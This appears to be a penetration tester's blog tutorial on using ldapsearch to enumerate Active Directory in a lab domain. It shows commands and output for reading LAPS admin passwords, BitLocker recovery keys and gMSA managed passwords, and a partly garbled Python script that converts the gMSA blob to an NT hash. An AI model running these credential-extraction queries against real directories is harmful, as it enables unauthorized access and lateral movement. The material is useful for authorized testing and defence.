ldapsearch is a extremely powerful tool, especially for Windows Active Directory enumeration. It’s one of my primary tools when performing pentesting or red teaming against an environment with Active Directory, but also comes in quiet handy to know as many times it can come default installed or part of a base image, so its a bit Living-Off-The-Land-esq. Another point towards ldapsearch is that it’s easy to forget that Active Directory isn’t the only LDAP server in most environments and the ability to utilize a tool like this can come in extremely handy.

If you want to find Active Directory LDAP servers, use the following command:

$ dig -t SRV _ldap._tcp.dc._msdcs.sittingduck.info

Basic Usage

  • -x Basic Authentication, you usually use this if you are going to include a username and password (instead of something like a kerberos ticket)
  • -h IP address or hostname
  • -H URL to force protocol and/or add port number -H ldaps://dc1.b.com or -H ldaps://dc1.b.com:6636 (636 is the default port for LDAPS, but can be connected to on 389 and is sometimes found with an additional 6 in the front as shown). 3269 is the Global Catalog port and can also accept LDAPS queries sometimes (you may have to ignore cert errors for this to work, depending on your setup).
  • -b Base, generally this is Distinguished Name format for example dc=google,dc=com
  • -D Username and Domain (not FQDN) "sittingduck\uberuser". For maximum Kerberos based authentication you can also specify your user in uberuser@SITTINGDUCK.INFO form, but ldapsearch will auto user the current user in Kerberos tickets available, so this can be omitted
  • -LLL This removes all of the extra log output of the search
  • -Y GSSAPI Used for Kerberos based authentication, however this is on by default and not needed (if installed), but you can specify it just to test to see if SASL is installed. apt install libsasl2-modules-gssapi-mit if it isn’t. Once installed, you do not need to keep this on the command line.
  • -E is for extended controls which are generally OIDs, but can also be:
  • -E pr=1000/noprompt By default ldapsearch will pull 1000 records maximum. Adding this it will pull 1000 records at a time until it has printed all results to the screen.
  • -O minssf=0,maxssf=0 This option will fix some errors during SASL (Kerberos) authentication. Technically this shouldn’t do anything based on the RFC, but it’s essentially telling the LDAP protocol that there isn’t a min or a max size for the authentication packets.
  • -o ldif-wrap=no This options makes the output non-wrapped, which is the best format to pull out things like certificates and other very long strings.
  • -W and -w - -W will prompt for the password, with -w you can specify the password on the command line. If you do not specify one of these ldapsearch will assume no password for the account. You can lock accounts out this way.
  • LDAPTLS_REQCERT=never ldapsearch {arguments} This is used when you are connecting to a self signed, or SSL enabled LDAP that your system cannot verify the certificate for.
  • -N Do not try to have the host name of your target DC attempted to perform a reverse DNS on the IP to match them. This is needed when the Domain Controller doesn’t have a valid reverse DNS record from your standpoint on the network and you are using Kerberos.

LDAP Search Filters

After the arguments comes the filter, then the attributes. Filters are like search terms. For example "(ms-Mcs-AdmPwdExpirationTtime=*)" is a search that says if the LDAP object has the ms-Mcs-AdmPwdExpirationTtime attribute and it’s not empty. LDAP filters are a bit odd, as they need to be within parentheses completely. In order to do a search for x AND y you have to do something like this (&(x=*)(y=*)). This search says only return results that have x and y and both are not empty. Here is a real world example:


This says all objects that have servicesPrincipalName attributes, it is a normal account (512) see more here AND is NOT ! disabled (2).

Note: 1.2.840.113556.1.4.803 is an LDAP feature that says LDAP_MATCHING_RULE_BIT_AND which is basically a bitwise AND. For example, a standard user account is 512 but would be 514 if disabled, but a computer account is 4096 and 4098 if disabled. Used the bitwise function you can account for both scenarios since it’s looking in the 2 binary location.

Everything after the filter is selection of attributes. (also known as “parameters” if you are used to Powershell and AD Objects)

Interesting Attributes

  • msDS-Approx-Immed-Subordinates - Gives you a count of objects directly below the specified “Base” -b
  • NTSecurityDescriptor - This is the SDSF in binary and base64 format, and will only be displayed if you request it specifically for the object.
  • msDS-ManagedPassword - This is a at-runtime built attribute that is the current NT hash of the Group Managed Service Account GMSA. !WARNING! See below before querying.
  • msFVE-RecoveryPassword - This is also an at-runtine built attribute that is the current BitLocker secret key for the computer account you query. !WARNING! See below before querying.

Null Session Starting

This can be done without any authentication and will give you a ton of information about the LDAP server in question (usually Active Directory):

$ ldapsearch -h -x -b "" -s base \* +

Example Output

# extended LDIF
# LDAPv3
# base <> with scope baseObject
# filter: (objectclass=*)
# requesting: * + 

currentTime: 20220513212748.0Z
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=sittingduck,DC=i
dsServiceName: CN=NTDS Settings,CN=DC2,CN=Servers,CN=Default-First-Site-Name,C
namingContexts: DC=sittingduck,DC=info
namingContexts: CN=Configuration,DC=sittingduck,DC=info
namingContexts: CN=Schema,CN=Configuration,DC=sittingduck,DC=info
namingContexts: DC=DomainDnsZones,DC=sittingduck,DC=info
namingContexts: DC=ForestDnsZones,DC=sittingduck,DC=info
defaultNamingContext: DC=sittingduck,DC=info
schemaNamingContext: CN=Schema,CN=Configuration,DC=sittingduck,DC=info
configurationNamingContext: CN=Configuration,DC=sittingduck,DC=info
rootDomainNamingContext: DC=sittingduck,DC=info
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
highestCommittedUSN: 2830648
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
dnsHostName: dc2.sittingduck.info
ldapServiceName: sittingduck.info:dc2$@SITTINGDUCK.INFO
serverName: CN=DC2,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configura
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
isSynchronized: TRUE
isGlobalCatalogReady: TRUE
domainFunctionality: 3
forestFunctionality: 3
domainControllerFunctionality: 6

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

You can learn the dnsHostName of the LDAP server you pinged, the dn which is useful for picking your base search if you don’t know it, the domainFunctionality level (aka the Domain Functional Level) will give you a sense of what capabilities and GPOs can be set. The supportedControl and supportedCapabilities are more advanced topics, but these basically say what you can and can’t do on the server.

Interesting Searches

The following are searches that I’ve found interesting or impactful in my experience.

LAPs Passwords

This search will only show computers with LAPs enabled, and if you can read any passwords, what the password currently is.

Notice that this user can read every password except SDLEGACY2K3 and SDEXCHANGE

$ ldapsearch -LLL -h -b "dc=sittingduck,dc=info" -x -D "sittingduck\uberuser" -w "ASDqwe123" '(ms-Mcs-AdmPwdExpirationtime=*)' ms-Mcs-AdmPwd

dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: f/0HG3)7d5P+e;/IE5wW8I/o//5)}W

dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: /B+%R26cVSA1c0zOi[-Z/#n1Q2sA,,

dn: CN=SDLEGACY2K3,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info

dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: }b+BC@p,7))6pqxj3y]MxBm9@h9Hy-

dn: CN=SDEXCHANGE,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info

dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: ]]3-%AN574#{/%t55!S+0!/10OJC;V

dn: CN=DC2,OU=Domain Controllers,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: kMo,85{N(uhUmWj183,3#T&d[Aeddv

BitLocker Recovery Passwords

The key on this one is narrowing down the search base to a small list or a single computer. The reason this is important is that the Domain Controller you are asking the password from has to do a bunch of decryption to calculate this attribute on the fly, if you ask for too many (like every machine in the Domain) the connection will be closed out due to timeout. Don’t be greedy, just get the one you need.

$ ldapsearch -h dc1.sittingduck.info -b "CN=WIN10COMP1,OU=Workstations,DC=sittingduck,DC=info" msfve-recoverypassword


Group Managed Service Accounts (GMSA) have randomly generated passwords that are default/generally pretty long. The msDS-ManagedPassword in an at-runtime decrypted value that the Domain Controller has to construct in order to return, much like the BitLocker keys. However, unlike with BitLocker, generally there aren’t very many GMSAs so it’s less of a chance to knock over the DC if you get greedy and query them all.

$ LDAPTLS_REQCERT=never ldapsearch -LLL -H ldaps:// -x -D uberuser -w ASDqwe123 -o ldif-wrap=no -b 'dc=sittingduck,dc=info' '(&(ObjectClass=msDS-GroupManagedServiceAccount))' msDS-ManagedPassword
dn: CN=TestGMSA,CN=Managed Service Accounts,DC=sittingduck,DC=info

msDS-ManagedPassword:: AQAAACQCAAAQABIBFAIcAq/tlcA3PziSdtjxwKwcpM9VAteZa9No6et8yDWzgEYj5yFDhzT0OMFtTA4qAI4M+sWjiUVqYhDwFItW+5FlhaJp8tm/fcAfIDc5MAsYOXgq3AIc6ofCpeJga6Jw4SX/EKmnQdsS7lGmXd/yh27qJGj6SS0vwk//D8cr1+6s43YB0TxUxyLrruupZmd4Ndx2PZ4L4zkWa/vlRlDzadyeGwji70q9sfjH5x7+l7V+w5JK7/hKfG48swD8koEK/bHyLxZa8eDMEoscAmnuC/CA/pTvdF6jfIYmAYMGZujOVkbXJjaCEPGA1+nBDqkOQ1NlLZu4Y6Es1bB3YVIv6agDICYAAJ3USvAd5t267x9PfdetWSfLGRt4qxMCmOwXO0nVWMJTSYfjC+Phc0QX/rrTimPptYvx2NnuAclbgj0Fvg0iZfOvHW0SwdKTyKCvGeL+UPz4Jwr2VAd+PX43GoUPD8uBhDrtzVSwUhtScDIvzGJYgvHrREnTUqaf9pENqkVpbdXHtpE/buIphVrPEg84e9fgNB2a/r6sZaPX+1C8e/5pbNO7qoQ4fqXSDPM3qh6ymlh2ouNRoP0kN4sLVUvW+cNX+YQk7UJDSnG3fANPtgquhi6B4OVqU2fpypUbFtd91Ju/9xZeuod508FqYHPT1aX86tBdLj4yq2/65ROupERLVhAAADPE7gxzEgAAM2YeWnISAAA=

Once you have this blob of text, you need to convert it into the NT hash using this tool:

(this is a slightly modified version of the script that agsolino posted)

#!/usr/bin/env python3
from impacket.structure import hexdump, Structure
import base64
import sys, getopt
# Source from: https://github.com/SecureAuthCorp/impacket/pull/770#issuecomment-589243865

    structure = (

    def __init__(self, data = None):
        Structure.__init__(self, data = data)

    def fromString(self, data):

        if self['PreviousPasswordOffset'] == 0:
            endData = self['QueryPasswordIntervalOffset']
            endData = self['PreviousPasswordOffset']

        self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
        if self['PreviousPasswordOffset'] != 0:
            self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]

        self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
        self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]

def main(argv):
    b64 = ""
    verbose = False
        opts, args = getopt.getopt(argv,"hvb:",["base64="])
    except getopt.GetoptError:
        print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')
    for opt, arg in opts:
        if opt == '-h':
            print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')
        elif opt in ("-v"):
            verbose = True
        elif opt in ("-b", "--base64"):
            b64 = arg

    if b64 == "":
        print ('gmsa.py -b <msDS-ManagedPassword base64> -v (optional verbose)')

    test = base64.b64decode(b64)

    if verbose == True:
        print("Cleartext Password")
    from Cryptodome.Hash import MD4
    hash = MD4.new ()
    hash.update (blob['CurrentPassword'][:-2])
    print("NTHash: {}".format(hash.hexdigest()))

if __name__ == "__main__":
$ python3 ./gmsa.py -b AQAAACQCAAAQABIBFAIcAq/tlcA3PziSdtjxwKwcpM9VAteZa9No6et8yDWzgEYj5yFDhzT0OMFtTA4qAI4M+sWjiUVqYhDwFItW+5FlhaJp8tm/fcAfIDc5MAsYOXgq3AIc6ofCpeJga6Jw4SX/EKmnQdsS7lGmXd/yh27qJGj6SS0vwk//D8cr1+6s43YB0TxUxyLrruupZmd4Ndx2PZ4L4zkWa/vlRlDzadyeGwji70q9sfjH5x7+l7V+w5JK7/hKfG48swD8koEK/bHyLxZa8eDMEoscAmnuC/CA/pTvdF6jfIYmAYMGZujOVkbXJjaCEPGA1+nBDqkOQ1NlLZu4Y6Es1bB3YVIv6agDICYAAJ3USvAd5t267x9PfdetWSfLGRt4qxMCmOwXO0nVWMJTSYfjC+Phc0QX/rrTimPptYvx2NnuAclbgj0Fvg0iZfOvHW0SwdKTyKCvGeL+UPz4Jwr2VAd+PX43GoUPD8uBhDrtzVSwUhtScDIvzGJYgvHrREnTUqaf9pENqkVpbdXHtpE/buIphVrPEg84e9fgNB2a/r6sZaPX+1C8e/5pbNO7qoQ4fqXSDPM3qh6ymlh2ouNRoP0kN4sLVUvW+cNX+YQk7UJDSnG3fANPtgquhi6B4OVqU2fpypUbFtd91Ju/9xZeuod508FqYHPT1aX86tBdLj4yq2/65ROupERLVhAAADPE7gxzEgAAM2YeWnISAAA=
NTHash: 78450c9611e6c9515e2a489f9b31cc3e

If you want to learn more about GMSAs and a newer attack called the “Golden GMSA” check out the Sempris blog here: https://www.semperis.com/blog/golden-gmsa-attack/

Certificate Authorities and Templates

This is a list of certificate templates that are enabled on each certificate authority in the domain.

$ ldapsearch -LLL -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=sittingduck,DC=info" -h -w "ASDqwe123" -D "uberuser"  certificateTemplates

dn: CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration

dn: CN=sittingduck-W2KCA-CA,CN=Enrollment Services,CN=Public Key Services,CN=S
certificateTemplates: ExchangeUser
certificateTemplates: ExchangeUserSignature
certificateTemplates: EnrollmentAgentOffline
certificateTemplates: MachineEnrollmentAgent
certificateTemplates: EnrollmentAgent
certificateTemplates: CrossCA
certificateTemplates: CodeSigning
certificateTemplates: CEPEncryption
certificateTemplates: CAExchange
certificateTemplates: ClientAuth
certificateTemplates: Workstation
certificateTemplates: UserSignature
certificateTemplates: CTLSigning
certificateTemplates: SmartcardUser
certificateTemplates: SmartcardLogon
certificateTemplates: OfflineRouter
certificateTemplates: RASAndIASServer
certificateTemplates: OCSPResponseSigning
certificateTemplates: KeyRecoveryAgent
certificateTemplates: IPSECIntermediateOffline
certificateTemplates: IPSECIntermediateOnline
certificateTemplates: DirectoryEmailReplication
certificateTemplates: DomainControllerAuthentication
certificateTemplates: KerberosAuthentication
certificateTemplates: EFSRecovery
certificateTemplates: EFS
certificateTemplates: DomainController
certificateTemplates: WebServer
certificateTemplates: Machine
certificateTemplates: User
certificateTemplates: SubCA
certificateTemplates: Administrator

Nested Group Membership

A query like this:

$ ldapsearch -x -LLL -h dc1.sittingduck.info -w ASDqwe123 -D uberuser -b "dc=sittingduck,dc=info" '(memberOf=cn=Domain Admins,cn=Users,dc=SittingDuck,dc=info)' cn

will result in all of the accounts that have a memberOf attribute of Domain Admins. This will show you the first level of membership, but LDAP/AD actually has a way to identify nested membership using the 1.2.840.113556.1.4.1941 OID:

$ ldapsearch -x -LLL -h dc1.sittingduck.info -w ASDqwe123 -D uberuser -b "dc=sittingduck,dc=info" '(memberOf:1.2.840.113556.1.4.1941:=cn=Domain Admins,cn=Users,dc=sittingduck,dc=info)' cn

This will show you all Domain Admins even if they are in a group in a group in a group in a group.

Find Exchange Servers

$ ldapsearch -LLL -h -o ldif-wrap=no -x -D uberuser -w ASDqwe123 -b "cn=Configuration,dc=sittingduck,dc=info" "(objectCategory=msExchExchangeServer)" dn

dn: CN=SDEXCHANGE,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF23SPDLT),CN=Administrative Groups,CN=First Organization,CN=Microsoft Exchange,CN=Services,CN=Configuration,DC=sittingduck,DC=info

Deleted / Tombstoned objects

Looking at deleted and tombstoned objects won’t always get you much information you can directly use, but sometimes there are passwords or other sensitive data stored in objects. (I don’t believe deleting objects changes their permissions but I could be wrong here)

$ ldapsearch -h -x -w ASDqwe123 -D uberuser -b "CN=Deleted Objects,DC=sittingduck,DC=info" -E '!1.2.840.113556.1.4.417'

For example here is a Computer account that was deleted:

# blah1
DEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef, Deleted Objects, sittingduck.
dn: CN=blah1\0ADEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef,CN=Deleted Objects,DC=
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
objectClass: computer
distinguishedName: CN=blah1\0ADEL:2f7b19b1-9dee-4a48-8bb0-ad62e6a287ef,CN=Dele
 ted Objects,DC=sittingduck,DC=info
instanceType: 4
whenCreated: 20220512041425.0Z
whenChanged: 20220512045921.0Z
uSNCreated: 2663983
isDeleted: TRUE
uSNChanged: 2664044
objectGUID:: sRl7L+6dSEqLsK1i5qKH7w==
userAccountControl: 4128
sAMAccountName: BLAH1$
lastKnownParent: CN=Computers,DC=sittingduck,DC=info
isRecycled: TRUE

Replication Metadata

This is one place where ldapsearch isn’t quite as cool as other tools, all of the base64 output. I did find a great way to decode most of it on StackOverflow:

  • | perl -MMIME::Base64 -n -00 -e 's/\n +//g;s/(?<=:: )(\S+)/decode_base64($1)/eg;print'

Basically you are pipeing the output of ldapsearch into a bit of perl that Base64 decodes anything that looks like Base64.

Back on track, there is a ton of great info in Replication metadata but the blog post from SpecterOps above.

$ ldapsearch -h -o ldif-wrap=no -x -w ASDqwe123 -D sittingduck\\uberuser -b "CN=Administrator,CN=Users,DC=sittingduck,DC=info" msDS-ReplAttributeMetaData                       # extended LDIF
# LDAPv3
# base <CN=Administrator,CN=Users,DC=sittingduck,DC=info> with scope subtree
# filter: (objectclass=*)
# requesting: msDS-ReplAttributeMetaData

# Administrator, Users, sittingduck.info
dn: CN=Administrator,CN=Users,DC=sittingduck,DC=info
msDS-ReplAttributeMetaData:: PERTX1JFUExfQVRUUl9NRVRBX0RBVEE+Cgk8cHN6QXR0cmlidXRlTmFtZT5tc0RTLVN1cHBvcnRlZEVuY3J5cHRpb25UeXBlczwvcHN6QXR0cmlidXRlTmFtZT4KCTxkd1ZlcnNpb24+MTwvZHdWZXJzaW9uPgoJPGZ0aW1lTGFzdE9y
msDS-ReplAttributeMetaData:: PERTX1JFUExfQVRUUl9NRVRBX0RBVEE+Cgk8cHN6QXR0cmlidXRlTmFtZT5sYXN0TG9nb25UaW1lc3RhbXA8L3BzekF0dHJpYnV0ZU5hbWU+Cgk8ZHdWZXJzaW9uPjI8L2R3VmVyc2lvbj4KCTxmdGltZUxhc3RPcmlnaW5hdGluZ0No

With the Perl trick:

$ ldapsearch -h -o ldif-wrap=no -x -w ASDqwe123 -D sittingduck\\uberuser -b "CN=Administrator,CN=Users,DC=sittingduck,DC=info" msDS-ReplAttributeMetaData | perl -MMIME::Base64
-n -00 -e 's/\n +//g;s/(?<=:: )(\S+)/decode_base64($1)/eg;print'
# extended LDIF
# LDAPv3
# base <CN=Administrator,CN=Users,DC=sittingduck,DC=info> with scope subtree
# filter: (objectclass=*)
# requesting: msDS-ReplAttributeMetaData

# Administrator, Users, sittingduck.info
dn: CN=Administrator,CN=Users,DC=sittingduck,DC=info
msDS-ReplAttributeMetaData:: <DS_REPL_ATTR_META_DATA>

msDS-ReplAttributeMetaData:: <DS_REPL_ATTR_META_DATA>


While I personally don’t recall ever running into an instance where I wasn’t able to read the security descriptor via ldapsearch, it’s just because I’ve only went after very specific objects and not that it never happens. Lee Christensen (@tifkin_) figured out a way to read security descriptors as low privileged users. Honestly I don’t know how it works, but here it is:


Ever want to dump AD security descriptors from an OS X or Linux machine using ldapsearch as a low priv’ed user? Add the following argument:

-E '!1.2.840.113556.1.4.801=::MAMCAQc='

AD Password Dumping via LDAP

Every so often I forget it’s not possible to sync passwords from the unicodePwd attribute. I’m saving this here mostly so I don’t waste my time trying again.

From MSDN:

The unicodePwd attribute is never returned by an LDAP search.


For futher info, the LDAP Wiki is an amazing resource.

Ropnop’s Talk at Troopers 2019

You should absolutely check out Ropnop (and follow him on Twitter) if you want to learn more.